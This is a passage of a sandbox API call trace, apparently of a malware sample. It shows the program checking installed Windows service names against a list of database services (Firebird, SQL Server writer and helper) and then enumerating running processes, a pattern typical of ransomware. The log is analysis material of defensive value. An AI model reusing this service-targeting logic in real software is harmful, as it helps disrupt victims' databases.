	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0087.803] lstrlenW (lpString="iphlpsvc") returned 8
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0087.803] lstrlenW (lpString="KeyIso") returned 6
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0087.803] lstrlenW (lpString="LanmanServer") returned 12
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0087.803] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0087.803] lstrlenW (lpString="lfsvc") returned 5
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0087.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0087.803] lstrlenW (lpString="lmhosts") returned 7
	[0087.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0087.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0087.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0087.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0087.804] lstrlenW (lpString="LSM") returned 3
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0087.804] lstrlenW (lpString="MapsBroker") returned 10
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0087.804] lstrlenW (lpString="MpsSvc") returned 6
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0087.804] lstrlenW (lpString="NcbService") returned 10
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0087.804] lstrlenW (lpString="netprofm") returned 8
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0087.804] lstrlenW (lpString="NlaSvc") returned 6
	[0087.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0087.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0087.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0087.805] lstrlenW (lpString="nsi") returned 3
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0087.805] lstrlenW (lpString="PcaSvc") returned 6
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0087.805] lstrlenW (lpString="PlugPlay") returned 8
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0087.805] lstrlenW (lpString="Power") returned 5
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0087.805] lstrlenW (lpString="ProfSvc") returned 7
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0087.805] lstrlenW (lpString="RpcEptMapper") returned 12
	[0087.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0087.805] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0087.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0087.805] lstrlenW (lpString="RpcSs") returned 5
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0087.806] lstrlenW (lpString="SamSs") returned 5
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0087.806] lstrlenW (lpString="Schedule") returned 8
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0087.806] lstrlenW (lpString="SecurityHealthService") returned 21
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0087.806] lstrlenW (lpString="SENS") returned 4
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0087.806] lstrlenW (lpString="ShellHWDetection") returned 16
	[0087.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0087.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0087.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0087.807] lstrlenW (lpString="Spooler") returned 7
	[0087.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0087.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0087.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0087.807] lstrlenW (lpString="SSDPSRV") returned 7
	[0087.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0087.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0087.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0087.807] lstrlenW (lpString="StateRepository") returned 15
	[0087.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0087.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0087.807] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0087.807] lstrlenW (lpString="SysMain") returned 7
	[0087.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0087.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0087.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0087.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0087.807] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x32b6290 | out: hHeap=0x720000) returned 1
	[0087.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc
	[0087.814] Process32FirstW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0087.814] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0087.815] lstrlenW (lpString="System") returned 6
	[0087.815] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0087.816] lstrlenW (lpString="smss.exe") returned 8
	[0087.816] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0087.816] lstrlenW (lpString="csrss.exe") returned 9
	[0087.816] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0087.817] lstrlenW (lpString="wininit.exe") returned 11
	[0087.817] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0087.817] lstrlenW (lpString="csrss.exe") returned 9
	[0087.817] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0087.818] lstrlenW (lpString="winlogon.exe") returned 12
	[0087.818] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0087.818] lstrlenW (lpString="services.exe") returned 12
	[0087.818] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0087.819] lstrlenW (lpString="lsass.exe") returned 9
	[0087.819] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.819] lstrlenW (lpString="svchost.exe") returned 11
	[0087.819] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.258] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.258] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.258] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.259] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.259] lstrlenW (lpString="svchost.exe") returned 11
	[0088.259] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0088.260] lstrlenW (lpString="dwm.exe") returned 7
	[0088.260] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.260] lstrlenW (lpString="svchost.exe") returned 11
	[0088.260] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.261] lstrlenW (lpString="svchost.exe") returned 11
	[0088.261] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.261] lstrlenW (lpString="svchost.exe") returned 11
	[0088.261] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.262] lstrlenW (lpString="svchost.exe") returned 11
	[0088.262] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.262] lstrlenW (lpString="svchost.exe") returned 11
	[0088.262] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.263] lstrlenW (lpString="svchost.exe") returned 11
	[0088.263] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.263] lstrlenW (lpString="svchost.exe") returned 11
	[0088.263] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.264] lstrlenW (lpString="svchost.exe") returned 11
	[0088.264] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.264] lstrlenW (lpString="svchost.exe") returned 11
	[0088.265] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.265] lstrlenW (lpString="svchost.exe") returned 11
	[0088.265] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0088.266] lstrlenW (lpString="spoolsv.exe") returned 11
	[0088.266] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.266] lstrlenW (lpString="svchost.exe") returned 11
	[0088.266] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0088.267] lstrlenW (lpString="audiodg.exe") returned 11
	[0088.267] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0088.267] lstrlenW (lpString="sihost.exe") returned 10
	[0088.267] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.268] lstrlenW (lpString="svchost.exe") returned 11
	[0088.268] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.268] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.268] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0088.269] lstrlenW (lpString="explorer.exe") returned 12
	[0088.269] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0088.269] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0088.269] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0088.270] lstrlenW (lpString="SecurityHealthService.exe") returned 25
